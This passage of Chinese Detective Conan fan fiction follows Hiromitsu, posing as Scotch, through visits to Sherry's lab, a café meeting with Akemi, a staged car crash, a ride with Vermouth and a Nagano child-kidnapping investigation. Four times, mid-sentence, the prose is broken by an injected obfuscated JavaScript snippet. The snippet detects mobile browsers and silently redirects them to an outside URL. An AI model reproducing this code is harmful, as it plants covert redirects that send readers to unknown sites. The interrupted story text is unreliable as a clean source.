雪莉能直接对接BOSS,看来研究所的确是组织更深一层的存在。 驶出许久,琴酒都没再讲话。景光默默记路,担心琴酒怀疑,便装作自己在想别的事情,主动提道:“安室透——” “嗯?”琴酒明显地顿了一下。 伏特加突然说道:“那不是大哥前两天交给你的目标吗?” “嗯,但组织已经提前接触过他了。” “是朗姆?”琴酒仿佛断线重连了一样,慢半拍地接上话题。 景光点头。“他似乎还没有被驯服。” “无所谓。”琴酒道,“他,还有诸星大,之后都由你负责。” “你是说,他会被派到我们这边?” “那要看朗姆敢不敢用人了。”琴酒说罢,似乎陷入了深思。 景光从这段对话里得到的信息比预想的要多,即琴酒与朗姆之间的矛盾似乎已经超过了一般意义上互相看不顺眼的同级矛盾。将私人恩怨蔓延到公务里,这不符合景光对琴酒的认识。 那么,造成两人冲突的最根本原因是什么? 景光预感到这答案异常关键。 他们驶过一条废弃的铁路隧道,阴暗幽深,白日与车前灯的亮度竟然不能深入寸许。景光忽然想起“高速婆婆”一类的都市传闻,他过去会讲这些故事,甚至还会被某些故事吓到,但并不真的相信——直到他眨眼之间成为了莫名其妙的苏格兰。 前一个问题还没搞懂,新的问题又浮现: 原本的苏格兰呢? 真奇怪,景光想,人类适应环境的能力实在高超。他不到48小时前才刚来到这个世界,现在就已经可以一边坦然坐在琴酒身边思考问题,一边祈求高速婆婆诅咒琴酒惩恶除奸了。 但问题没有答案,隧道没有高速婆婆。又过了几百米,他们驶入了一片荒野,一座有着不冒烟烟囱的工厂建在不远处的小山冈上。靠近到足够距离后,伏特加停下了车。 景光与琴酒下车。后者带领景光——尽管从氛围上讲,更像是在“押送”——进入工厂,乘电梯进入地下未知层。 每一扇门与每一道进出关卡都由琴酒亲自验证。虹膜、指纹、面部识别……没有密码,因为琴酒自身的存在就是最大的安全保障。 电梯门一开,一股消毒水、橡胶与化学试剂的气味立刻扑面而来。近似钢板的灰白色调压抑沉重,像极了科幻小说里的描写。 琴酒押送景光走到一扇门边,门外守着两名警卫,见到琴酒便弓下了腰。 “你有十五分钟时间。”琴酒对景光道,“进去吧。” 他没有在外等候的意思,转身就走。 警卫奉命放行。景光抬脚踏入,一间硕大的实验室展示在他面前。 不舒服——这是景光的第一反应。他起了一身鸡皮疙瘩,仿佛正有几百个人贴在他的身边,眼睛黏在他的身上。 这间不大的屋子里至少有近十个大小监控。 景光尽力摆脱心底的异样感,看向房间的主人。 无论作为酒名还是人名,“雪莉”这个称呼都更适合指代女性。她可能是高的矮的、胖的瘦的、金发碧眼的或有日式风情的,但绝不会是景光眼下见到的模样—— 一个初中年纪的女孩坐在电脑前,穿着不太合身的白大褂,双眼被屏幕幽幽的绿光照亮。 “你来了。”她听见声音的瞬间就将视线离开电脑,转向景光。人们很少会在这个年龄的孩子眼里看到空无与冷淡,但雪莉有这样一双眼睛。 “雪莉。”景光呼唤她时,多少还是不敢肯定。 “琴酒不在,喊我的名字吧。”女孩指了指自己身旁的椅子,“来我这里。” 待景光坐下,她继续道:“我给你发了邮件,但一直没有收到回应,我还以为你遇上了麻烦。” “最近很忙。”景光不想在这个话题上多作纠缠,提醒道,“你在邮件里写——” “嗯。”雪莉轻声说道,“我前段时间见过姐姐……她说自己开车时撞到了一个男人,结果就被那家伙以失忆为借口赖上了。” 好熟悉的故事。景光微微眨眼。 “诸星大?” “就是这个名字。你已经见过姐姐了吗?” “还没有时间,不过……我和他出过一次任务。” 景光注意到雪莉的手攥紧了。 “组织一定要把姐姐——” 景光像是一不小心碰翻了桌上的玻璃烧杯,连忙扶了起来。烧杯没碎,但碰撞桌面的声音实在响亮。 雪莉的话戛然而止。 在这样小的年纪里获得代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165320|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被困在实验室,被严格监视,见朋友(景光假设她与苏格兰称得上这种关系)或家人需要请求管理者的同意……这样看来,她那个没有代号的姐姐兴许也是控制她的一道枷锁。 景光很快为雪莉打上了标签:敏感多疑、被迫服从于组织、在某些领域天赋卓绝。 能受到这种孩子信赖的苏格兰究竟…… 一个名字霎时间闪过景光的大脑。 不,如果是高明哥的话,应该不会…… 雪莉深深地呼吸了一次,重新问到:“现在呢?他还缠着姐姐吗?” “这个……”景光迟疑片刻,继续道,“他说,他已经成为了你姐姐的恋人。” “不可能!不可以!”雪莉皱眉,“不论他说的是真是假,他不会给姐姐带来幸福的。组织……与组织有关的人,只会给姐姐带去噩梦……” “别这么说。”景光摇头,他看出雪莉更多地是在自责。 强烈的负罪感与由之而来的抑郁情绪极易出现在幼年遭遇巨大生活变故、缺乏父母关爱、缺失人际交往的人群身上,有时成年人都难以调节自身,更别说一个未成年的孩子。他们习惯于鞭笞自己,而从另一个方面来讲,也非常容易受到心理控制。 不知道雪莉是否清楚自己的情况。 雪莉不停地捏着左手扣拢的四指,焦虑地提高了语速:“琴酒一段时间里不会允许我再见到姐姐了。帮我看看她,苏格兰,让她别再和那个男人待在一起。我记得明天是你休假回长野的日子,不会耽误你太久的。” 5月11日。休假。长野。这三个词竟然在一名代号成员的口中形成了组合。这太不可思议、太令景光不安了。 这里这么多的摄像头,琴酒在看吗?琴酒知道吗? “好……”景光神色未变,“我之后再来见你。” “没关系,我知道你答应了就一定会做。”雪莉忧伤地垂下额头,忽然伸手拉过了景光的手,“谢谢你,苏格兰,很抱歉又要麻烦你。我刚刚讲了太多自己的事,你最近怎么样?” 她说话时,景光感到手心有手指划动: “你今天一直没喊我志保,出什么事了吗?” 他们靠近的身体与交错的手正好构成一小片监控盲区。 志保?这是雪莉的名字吗?景光记得通讯录里姐姐的名字是宫野明美,所以雪莉名叫宫野志保?是真名吗? “认识了一个麻烦的神秘角色。”景光一边说,一边用拇指在雪莉的手心里写道:“有些问题,等我弄清楚了再告诉你。” 雪莉写:“我这边总归有些资源。我也会帮你的,景光哥。” 景光的心脏一哆嗦。 他匆匆写下“好”字,抽开手,从椅子上站起。 “时间差不多了,琴酒还在外面。”他顿了顿,又道,“不用担心,志保。”这话能够与他前面的发言接上。 之后,景光辞别她,离开了这间实验室。 雪莉知道长野,甚至知道他的真名。这场突然会面为景光本就犹豫不决的猜测添了几块滑向深渊的石头,但雪莉太聪明,让景光不敢冒然套话。 现在唯一的道路指向宫野明美。景光决定去见她。 9. 09 规定的15分钟已经过了,琴酒自己却不见人影。景光看没人理他,装出一副寻找琴酒的模样,在研究所里四处乱转。 刚出电梯时,景光注意到墙上用明黄色涂料漆着字母“A”,大概象征着A区域,区域间用厚重的防护门隔离。景光不知道还有多少类似区域,也就估算不出大致面积。此外,地下部分也绝对不止一层。 A区域内约有大大小小九个房间,除雪莉所在的封闭实验室外,还有五间景光进不去,三间有着玻璃外墙的大实验室,可以看见桌上摆满科研仪器,几只小白鼠关在笼里,嘴里咀嚼个不停。 偶尔有与景光擦肩而过的研究员,并不看向他,活像他不存在一样。 “你在做什么?” 景光没料到自己乱转也能转到琴酒面前。 视线从琴酒身后即将合起的门缝里扫过:一个装了满墙监控显示屏的房间,与之相对的另一面墙边,靠墙摆放一张缆线裸露的金属桌,连接着一个话筒、三个对准座位的摄像头与一面显示雪花屏的屏幕。 下一秒,屏幕彻底暗下去,响起一点短促的、往往在关闭话筒时会发出的声音。 琴酒刚刚在和谁对话吗? “我在找你。”景光坦然撒谎。 琴酒似乎对答案感到不屑,但没说什么。他步子迈得很大,才两三步就走到了景光前面。 进电梯后,他才问道:“雪莉说了什么?” 景光如实回答:“她希望我能劝她姐姐和诸星大分手。” 这是雪莉敢在监控下明说的东西,他没必要向琴酒隐瞒,何况谁知道后者是不是在明知故问? 果不其然,琴酒摆出一副“无聊”的表情。“只有你会对雪莉的把戏心软,苏格兰,所以她才会一直抓着你不放。”他操纵电梯上行,像是想到什么,露出稍显冰冷的笑意,“不过,已经快20年了,你的好人游戏该到头了。” 景光沉默片刻,一个大胆的猜测挤进脑中。 “Boss说了什么吗?” “风暴要来了,苏格兰。”琴酒语焉不详,“不过,这不是你该关注的事,你只要知道,这会是你的最后一次休假,没有异议。” “……我知道了。” 两人回到车上。之后,琴酒指挥伏特加把景光随便放在某个路边便离开了。既然他始终没有驳回雪莉的请求,景光就当他默许,翻出电话簿里宫野明美的名字,直接拨了过去。 被挂断了。 不一会儿,景光收到一封邮件: 【还在上课[祈祷],绿川哥有什么事吗?】 发件人显示宫野明美。 上课?是学生吗?景光用邮件回道:【志保有些话托我转达,方便见一面吗?】 【好的,麻烦绿川哥来这里吧。我马上下课,大约半小时后到。】 定位是一家位于米花町的咖啡馆。景光回了个“OK”的手势符号。 他比约定的时间提前约十分钟抵达。咖啡馆倒是取了个有趣的名字,叫“波洛”——阿加莎?克里斯蒂小说里的名侦探。以如今犯罪分子的身份坐在这样一家咖啡馆里,景光倒是感觉蛮微妙的。 店里顾客不多:一对年轻的女大学生,一个戴黑框眼镜的中年男人,和一个对着电脑发呆的红发青年。当景光的视线扫过他时,对方竟然恰巧抬头看了过来。那动作太过自然,让景光不清楚是巧合还是故意。青年对他点头致意,接着又去做自己的事了。店里只有一位服务员,是个热情洋溢的姑娘,胸前的工牌上写着榎本梓。 景光表示自己在等朋友,稍后再来点单。 十分钟后,有车停在咖啡馆的门外,一个留长发的年轻女人下了车。她的面容与雪莉有些许相似,但最敢让景光确认的还是站在她身边的诸星大。 两人短暂地交流两句。最后,诸星大回到车内,女人独自走进了咖啡馆。 “绿川哥。”她坐到了景光对面,毫无疑问地是宫野明美。 她带给景光的第一感觉与雪莉不同。如果说雪莉是个像刺猬一样谨慎尖锐的人,她的姐姐则像一只兔子,柔和、温暖、明亮。然而,藤蔓总是需要互相攀扶着才能向上生长,若被强行拆开,那每一根都只能努力生长得比原先硬韧,这就是姐妹俩的相似之处。 “他不来吗?”景光看向窗外。 “大君吗?”明美道,“他说今天没有工作,所以来看看我。但是是志保有话对我说吧?我自己来听就行。” 景光唤来店员,点了两杯咖啡。 “过来用了多久?”景光问。 “十五……十七分钟吧。” 景光以正常车速与普通路况换算了一下距离,范围内的确有两家大学,却在相反的方向上。加上诸星大直接停靠在咖啡馆对面的路边,景光基本能够排掉一家。 他点点头,没作更多寒暄,神色严肃地说道:“志保不希望你继续和他在一起。” “啊……”明美没有出声,只是嘴唇微张,有些惭愧地垂下视线,“我知道。上次我对志保讲到大君的事时,她就皱起了脸,像老师一样严肃呢。” 景光观察着她的表情,肯定道:“但你不会听的。” 明美平静地笑了笑。“我会的,毕竟志保都这样请求您了,一定是又冒了很多风险吧。只是,有些事在表面上结束了,不代表在心里也是那样。” “我听说你们才认识不久。” “时间的确是问题,但不是最重要的。有些人相处的时间再短,灵魂上也好想有什么把他们联系在一起。我和志保如此,您不也是吗?”明美道,“虽然用这样的比喻指代我和大君的情况并不贴切,但……” 她没有允许自己再说下去,转而道:“如果这是志保的愿望,我不会忽视的。请让她别担心我,好吗?” 景光敢肯定宫野明美了解他——了解苏格兰的过去。 咖啡上了。景光的手指在杯碟的边沿滑过一圈,叹息道:“你还是这样没变过。” “绿川哥……”明美忧心地看着他,“你是不是遇到了麻烦?” “最近总是想起过去的事,明明已经过去这么久了。” 明美神色哀愁,语气却轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15165321|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔又坚定。“不是这样的,绿川哥。你不是说过嘛,这不是我们也不是你的问题,如果没有……”她囫囵吞进了某个单词,“一切才能真正结束。” “这只是我安慰你们的话,你真的相信吗?” “唯独你,我是不会去质疑的。”明美说道,“我和志保也就算了,但绿川哥,你是不该掉进这个深渊的,尤其当那个人——你的哥哥——现在还是那种身份。” “琴酒说,这次是我最后一次见他了。” 听到这句话,明美也终于陷入沉默。 ”不要担心,绿川哥。”良久,她说道,话语出口的瞬间仿佛既是结论,也自成证据,“兄弟姐妹之间的联系是永远不会被斩断的。” “但我偶尔会想,如果没有过去的经历,我现在会是怎样的人。” 明美还没听完景光的话便笑了。“绿川哥,有些人天生就会成为一些人,无论他们经历过什么。我不知道其他人是怎么评价你的,但在我和志保心里,你永远都是我们的兄长。” 好高的评价。景光眨眨眼,喝了一口咖啡作掩饰。 “那你呢,明美?”他说,“你想过另一种换一种生活的自己是什么样的吗?” “我……”明美罕见地犹豫了,“我不知道,好像是或不是,答案从最初就已经定型了。比起我,我倒是希望志保……”她抿起嘴唇,“没有我的话,志保肯定能过上更好的生活吧,那才是真正地从零出发。我不在乎她过得正不正确,只希望她能够幸福。” “现在看来,她似乎并不幸福。” 明美没有答话。 两人默默地喝了一会儿咖啡。景光能听见女大学生们头贴着头嘀嘀咕咕的交谈声与中年男人略显粗沉的呼吸声,而红发青年似乎也想到了什么,飞快地敲着键盘。 “也许……也许有机会改变的,绿川哥。” 明美压低了声音,一种混杂了紧张、恐惧与兴奋的表情忽然浮现在了她宁静的脸上。 “你知道自己在说什么吗?”景光以同样的音量回问她。 明美没有解释,胜似解释。 可这对姐妹,一个是没有代号的普通人,一个是被严格监视的天才,再加上一个守在旁边目的不明的诸星大,想做些什么简直是无稽之谈。 “不要轻举妄动。”景光摇头,“等等吧,也许天马上就要变了。” 从情感上,景光很难不承认自己动了恻隐之心,而从理智上,雪莉掌握的科研情报更是至关重要。 所以宫野家的这两个孩子决不能死。 对话暂时终止。 雪莉、明美、苏格兰,这三人似乎是因年少时被迫进入组织的相同经历而结成了某种互相信赖的关系,但景光想不到,自己究竟是在哪个人生节点上与组织产生联系的。 他倒是有了几个推论,但证据不足,不能确定。 也许长野藏着答案。 景光在剩下的时间里收拾了行李,翌日一早便驱车上路。总共一个多小时的车程,在走到一半时,发生了意外—— 景光出了车祸。 10. 长野县诱拐事件(一) 从东京往长野的路段在上午时分车流不多,这又是个天气阴沉的日子,因此更显得人群稀落。景光开着昨天从租车铺里临时租的一款最老旧的商务车,耳边回荡着店主犹豫的声音: “这辆车嘛……好是好,就是……嘛,快报废了。” 景光心道:报废车正到了该闯的年纪。满意地将其提走,助力退休员工发挥余热。 走到高崎附近时有段岔道,刚好建在坡地上,从概率论来讲,是个极易发生交通事故的危险地带。据说有关部门即将采取改进措施,但就目前情况而言,方案显然还没定下。它在景光眼里仍然充满着吸引力。 景光看准路径,一踩油门,笔直地朝坡道下冲了出去。他的一只手握在车把上,在车辆撞停的前一刻开门跳车,在草丛里连翻了几个滚才消解惯性。 齐腰高的荒草在他的脸上划出了一道伤口。 车侧翻着倒在一株柏树前,前盖瘪进去,车尾滚着灰烟,暂时没有爆炸的风险。景光看了眼时间,没有呼叫交通救援。 十点左右,忽然出了太阳,草丛里一道若隐若现的反光吸引了景光的注意。他走过去,发现那是一把孩子们爱玩的玻璃弹珠,被随意地撒在草丛里;一条木棍插在土里画出的直线穿过了它们。 景光正想查看细节,手机忽然震了起来。 是一个没有备注的号码拨来的电话。 景光故意等了几秒才接通,对面传来女人略带埋怨的声音: “让一位女士等待可不是绅士该有的行为,苏格兰。” “我出了车祸,”景光有些苦恼地说,“能拜托你来接我吗?” 电话那头,女人像是听到了什么趣事,轻笑道:“一定需要我吗?” “来看看吧……贝尔摩德。” “好啊。” 景光将地址告知给她后,继续沿着地上的土痕探看四周。痕迹开始于远离公路、靠近柏树林的那面,终止于坡道从下往上的1/3处。一根被掰成两截的树枝掉在那儿;剩下2/3的距离里,胡乱倒伏的草丛连成一条稍暗的曲线,一端连接着土痕,一端消失在公路与胁迫的交界处。 景光抬头望去,看见了站在坡旁的那个女人。 女人穿一件衬衫与九分裙裤,搭一双红色高跟鞋,柔顺的金发盘在脑后,面部被一副硕大的遮阳眼镜遮了一半。她比景光估算的要来得晚。 景光从树枝附近的草丛里拾起某样东西,塞进衣兜,随后朝贝尔摩德走去。 贝尔摩德摘下墨镜,视线从半毁的车上扫过,似乎对这情况并不惊讶。她似笑非笑地问:“你故意的?” “琴酒要缩减我的假期,但我不幸遭遇了不可抗因素,只能晚些日子再回东京了。”景光一面说着,一面思索着贝尔摩德那极为眼熟的长相,但没能想起什么,“现在看来……除了要赔些钱外,没有什么别的问题。” “和钱有关的从来不是问题,”贝尔摩德不在乎地说,“别忘了报销。” 哦……好主意。景光暗道,这倒是他没有想过的一条路。 “所以,我现在成了你的共犯?” “只需要提供一点小小的证言而已。”景光道。 “几天没联系,你变得更有趣了。” 她说着,转向景光,抬手挑起后者的下巴,左看看,右看看,又问:“脸上的伤不会也是你故意的吧?” 景光碰了下伤处,仿佛才意识到似的。“没有影响吧?” “当然有,除非你想让自己的一张好脸烂掉。”贝尔摩德不愉快地松开手,“我这么多年来可是一直很关照你,但你好像并不珍惜嘛,苏格兰。” 她重新戴上墨镜,坐回车里。“这样一来,易容是行不通了。手套箱里有些变装工具,你自己收拾收拾。前面就是检查口,你也不希望自己的这张脸暴露在条子面前吧?” “出了什么事?” “谁知道呢。” 贝尔摩德不再言语。 景光拉开手套箱,里面正规矩地摆着一顶浅棕色。假发,刘海偏长,几乎盖到鬓角处,后发没过脖颈。他戴上假发,又戴上一副样式新潮的墨镜,在嘴角点了颗痣。 简单的变装技巧。景光在培训时学过这些,但这与易容相比简直是小巫见大巫。 组织的代号成员果然都不可小觑。既然知道了贝尔摩德懂易容也能帮人易容,他日后可得多个心眼了。 景光捋了一遍情况:现在他借机联络上了贝尔摩德,这样就无需考虑邮件里提到的“老地方”究竟在哪,同时长野警方正在设卡检查来往车辆,或许发生了某些案件…… 景光捏住藏在口袋里的证据——他大概猜到案件详情了。 在检查站处,贝尔摩德降下车速,摇下车窗。负责检查的警员探头进来,低低地惊呼一声: “您好——啊!您——” 贝尔摩德笑着竖起手指挡在唇边,“嘘。我和我的朋友在这里有暂时需要保密的拍摄任务。” “好的,请您不用担心,只是例行检查而已。”警员抿着嘴回应道。他没有发现异样,挥手将两人放行。 “我就说这发型适合你,”贝尔摩德道,“要不要和我一起去美国出道?“ ——克里丝·温亚德! 景光猛地记起这张面孔给予他的熟悉感源自何处,一阵寒意涌上他的心头:小到一家企业的普通员工,大到鼎鼎有名的国际巨星……组织的手到底要伸多长才能罢休? 贝尔摩德将车停在一家温泉旅馆前,修长的手指夹住一张房卡递给景光。“还是以绿川的名字开的房间,不过这次我可没办法蹭你的休假了。琴酒那边急着找我,他最近脾气差得很,我可不想惹到他的气头上。” “最近发生了什么吗?”景光问道。 “那可是……发生了不少事情。” 贝尔摩德的面上虽然在笑,眼睛里却没有丝毫笑意,仿佛只是扣上了一张冰冷的小丑笑面,让景光不由怀疑这张大明星的脸究竟是事实还是伪装。 “放心,你不会被认出来的,除非……你还藏了别的心思。”贝尔摩德敲打道,轻巧地像是在逗弄一只小猫小狗,“只要你乖乖的、老实一点,我会在琴酒面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185558|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前说点他应该知道的事。” 说罢,她丢下景光,扬长而去。 景光根据房卡上标注的房号前往房间,检查一圈后,没有发现监视器与监听器的痕迹,他的身上也没有被动过手脚。拨开窗帘检查屋外,贝尔摩德似乎真的走了,没有留人监视这个房间。 琴酒说的休假恐怕真的可以从字面意思理解,但在另一个角度上——组织越安心放任,越证明他们自信苏格兰不会做出任何背叛举动,正如他们大胆地放宫野明美在外生活一样。后者永远有机会逃离,却永远不会抓住那个机会,比自由的胡萝卜离她更近的,是组织悬在她脖颈上的那把名为“妹妹”的刀。 景光对着房间里的镜子摘下假发,随意抓了几下头发让它们变得凌乱散漫,接着从随身携带的背包里拿出一副黑色美瞳与平光镜。这些变装工具他平时也会随身携带。 之后,景光又从背包里拿出一件格子衫套在身上,系上一半纽扣。 打扮得像个不修边幅的程序员后,他离开旅馆,打车前往长野县警局,直奔前台的接待警官。 “你好,我可以提供一些关于你们正在调查的儿童绑架案的线索,麻烦你记录一下,方便和负责的警员对接。” 今天轮值的是个年轻警员,景光开门见山切入正题的效率让她有些来不及应付。她被带进了节奏,抓起纸笔,慌忙应道:“您请说。” “我刚刚路过一处车祸地点,”他将地址清晰地陈述一遍,几乎任何初来乍到者都能凭此进行准确定位,“那里的草丛里有孩子玩耍与挣扎的痕迹,而现场留下的集章券可以说明对方的身份。” 景光掏出口袋里的证据,用一支笔压在前台的桌面上。 “这是我在现场捡到的东西——长野县伊光游乐场的集章券,但上面显示的有效时间是从本月20日开始计算,这显然不是游客手里遗失的东西,希望你们可以沿着这条线索追查。现场应该还有我没发现的线索,请务必派遣警员调查。” 景光的语速不快不慢,正好卡在对方能够跟上的速记速度。警员一边争分夺秒落笔,一边碎碎念着重点内容:“现场还有线索……这位先生,我立刻就去通知案件的负责警官,您请稍等——诶,人呢?” 她抬起头,发现面前已然空无一人,只剩下几张被笔压住的集章券。 下一秒,一只因受长期日晒而略显黝黑的手拿起了它们。 “怎么了,竹内?” “啊,大和警官!” 像是抓住了定心骨一般,竹内连忙讲了一遍那位神秘来客的故事,还顺手递去了自己的笔记。她字迹清晰,因此这位迟来的大和警官一下子便知晓了情况,追问道:“那人长什么模样?” “男性、25岁上下,黑发黑眼、短发乱糟糟的,戴眼镜,穿一件蓝色格子衫。”竹内比划着,补充道,“应该刚走不久。” “知道了,我去找他。哦,如果高明回来,你也跟他讲下这事!” 他后面的声音越来越高,是因为已经跑出了警局外。竹内也高声回他,只是不清楚大和警官能否听到了。 11. 长野县诱拐事件(二) 这样就可以了,景光想,既然长野县警方正在排查过往车辆,一定是推理到了犯人的移动方式。一般而言,绑架犯会倾向于选择自己熟悉的地方作为据点,警方的行动声势浩大,犯人如果听到消息,势必不敢行动,如今一定还在长野县内。 景光相信自己提供的证据能够帮助他们找到犯人,因为再怎么说—— 这里可是有一位孔明先生坐镇呢。 “喂,这位小哥。” 下面要处理的问题就是苏格兰每年休假回长野的目的。景光需要尽可能多地寻找苏格兰留下的痕迹。 “喂,等一下。” 高明哥有没有搬家?要潜入去看看吗?伪装成小偷踩点的话,高明哥应该不会被吓到。 “我说你——” 一道黑影从身后迅速逼近景光,手朝他的肩膀搭了过去。景光走了神,下意识地躲开,回身看去,见到一个面色凶恶的深肤色男人,身着一件单薄的灰绿色冲锋衣。 景光看他也觉得眼熟,但记忆似乎更加模糊。 应该不至于又是什么明星吧?武打影星……之类的? 男人从口袋里拿出一本警官证,轻轻一抖,露出内部的证件照。“我的名字是大和敢助,长野县警察本部警部补。你在前台留下了这个吧?” 他拿出的正是景光之前留下的集章券。 景光反问:“有什么事吗?” 敢助似乎没料到自己被采取了警惕态度,解释道:“你提供的位置并不明确,希望你可以和警方一起展开后续调查。没问题的话,我们现在出发。” “很抱歉,我有些急事,不能奉陪。” “那留个联系方式吧。”敢助拿出手机,不打算轻易放人离开,“如果你那边一不小心、凑巧又遇到了有什么新线索,我们可以及时沟通。” 这个倒是没问题。景光昨天顺手置办了一部新手机,拿到了新的手机号码。 “绿川隆一。”敢助看了眼新输入的联系人姓名,不经意似的问道,“绿川先生是做什么的?” “什么能赚做什么而已。” “这个意思是……侦探?” 景光不介意应下这个猜测,为难地笑了笑,说道:“不算太专业。” “长野警方对这次的案件高度重视。尽管我们还没有向外界公布情况,但你应该猜到是什么类型的案件了吧?” “儿童绑架?” “不止一个受害者。” “嗯?”景光皱眉。 “目前已知的已有3个孩子失踪,都是父母报案,且没有任何证人见到他们被强行带走的场面。” “熟人作案?” “分别是5岁、7岁、9岁的孩子,彼此间并不认识,没有共同的熟人。” “难道你们还没找到任何线索?” “只有一点。”敢助道,“我的好友在其中一个孩子常玩的公园沙坑里发现了一些沾了油漆的彩色沙子,但那些沙子不在沙坑表面,反而被人故意埋进了深处。公园附近没有正在装修使用油漆的场所,何况那里是儿童公园,居民们会有意识地杜绝任何有害物质进入那里。因此,一定有陌生人来过。” “很精彩的推理。”景光点头,“相信以各位警官的实力,加上我发现的新证据,你们一定能拯救那些孩子。” 他现在还挂着苏格兰的身份,不适合与警方走得太近。也许他稍后可以跟踪过去看看情况,但要和他们一起行动的话,景光还是敬谢不敏。 出乎意料地,这位看似顽固的警部补没有继续纠缠。 景光松了口气,快速走远,确认对方没有跟在自己身后。接近巴士站时,景光已经打定了入侵高明宅的心思,便招手打的。刚一抬手,他忽然意识到了问题不对。 一辆车早有预谋般停在景光面前,车窗摇下,名为大和敢助的警官朝他挥了下手,接着将手肘搭在车窗框上。 “去哪里啊?捎你一程?” 景光问:“怎么看出来的?” “你急匆匆地离开警局,说明不想被人注意到,但同时,你没有采取任何能够迅速离开这里的方式,说明你没有开车,而路边也没有停着自行车一类的交通工具。所以说,你是打车来的。” 因为强壮的体格与严肃的神情,敢助的话语里充满了一种颇有压迫感的信服力。 景光上了车。 到这个份上,即使他拒绝,这位警官恐怕还会以各种方式与他产生联系,不妨先谨慎地与之接触,再看看未来如何发展。从另一个角度说,和警察打交道也算是景光给自己的未来铺路——毕竟他从黑衣组织收集到的情报总得有人接管。他的首选当然还是Zero,但前提是他得确认安室透的立场…… 再者,营救孩子们更是十万火急——既然没人监视,就允许他短暂地披着伪装放纵一次吧。 两人赶往高崎。由于景光一直没有呼叫道路救援,他的那辆报废车仍然躺在草丛里,冷却下来,不在冒烟了。 敢助戴着一双白手套,拾起景光先前找到的玻璃弹珠,很快辨认出了来源。“这孩子大概来自圣玛丽孤儿院。” “怎么讲?” “前段时间的报纸上登了一则消息,说有一位艺术家资助了圣玛丽孤儿院,并附赠一套自己制作的玻璃弹珠。与普通的弹珠不同,它的内部不是猫眼花纹,而是像樱花一样的五瓣花纹。”敢助顿了顿,“但圣玛丽孤儿院属于群马县警局管辖,我得去问问他们有没有接到警情。” 说罢,他将玻璃弹珠收到证据袋里,拨出了一个号码,一边询问,一边还跟着景光的脚步继续搜寻线索。 “这是……”景光喃喃。 他们面前是一片草木相对稀疏的空地,松软的土上留着树枝画下的九宫格,格子里填满○与×的符号,○率先连成一斜列而胜利。 “是一个人画的。”等敢助通完电话,景光说道。 “○的末尾和×的最后一笔都有向右勾的习惯。”敢助赞同了这一推论,“群马县这边说没有接到报案,我们得去圣玛丽孤儿院看看。” 两人马不停蹄地上车。景光坐在副驾驶座里,一手搁在胸前,一手托着下巴,深思道:“犯人很有迷惑性,诱骗了这孩子和他一起走,但这孩子很快感到不对,想要逃跑的时候被犯人抓住了,因此留下一道拖行的痕迹。绑匪一定有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191530|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辆大型车可以运送四个或者更多孩子。不,不对——” 他修改道:“这孩子一开始就意识到了危险,所以用木棍在地上划下路线,但被犯人发现,因此最后被强行拖走。那些集章券也许是这孩子在挣扎中故意从犯人身上扯落的。”推到这里,景光恍然大悟地感叹,“好聪明的孩子。” 见敢助一直没有说话,景光收敛了情绪,请教道:“大和警官有什么补充吗?” “没有。”敢助偏头看了他一眼,“只是觉得绿川先生和我的好友很像。” “就当您也在夸我聪明了。” 敢助叹气。“你说是就是吧。” 圣玛丽孤儿院的院长是个上了年纪的女人,头发已经灰白了。面对敢助与景光的到来,她称得上大惊失色,满脸慌张。 她起初拒绝承认孤儿院里有儿童走失,直到敢助逼问了她一次,她便仿佛承受不住般痛哭起来。 “是……是的。”院长捂面抽泣,“有个失踪的孩子,叫箱崎美纪,但因为不满24小时,所以……” 她似乎还想辩解什么,但敢助不愿在此浪费时间,打断道:“我们需要直到更多关于这孩子的事。” 景光补充道:“这孩子平常的人际关系与活动习惯您了解吗?” 